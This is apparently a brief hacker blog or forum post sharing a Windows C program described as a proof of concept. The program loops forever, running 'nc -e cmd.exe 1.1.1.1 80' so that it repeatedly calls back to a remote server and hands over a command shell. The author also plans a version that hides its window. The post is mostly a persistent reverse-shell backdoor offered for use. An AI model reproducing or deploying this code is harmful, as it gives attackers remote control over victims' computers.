Threw this together real quick.  Basically just calls the netcat command every 10 seconds to callback to our server and open a shell.  It’s use is limited since it doesn’t hide the cmd window that it generates.  However I can see a few cases where this would be acceptable and it’s a good POC if nothing else, not to mention the fact that it ‘just works’ and there’s only about 3 lines of actual code.  I plan on re writing this and including the netcat code inline to avoid the window.

/*
Call Netcat every X seconds
*/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <windows.h>
#include <winsock.h>
#define WIN32_LEAN_AND_MEAN

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow )
{

while ( 1 == 1)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;

ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );

while ( 1 == 1)
{
CreateProcess( NULL, “nc -e cmd.exe 1.1.1.1 80”, NULL, NULL, 0, 0, NULL, NULL, &si, &pi);
Sleep(100000);
}

}
}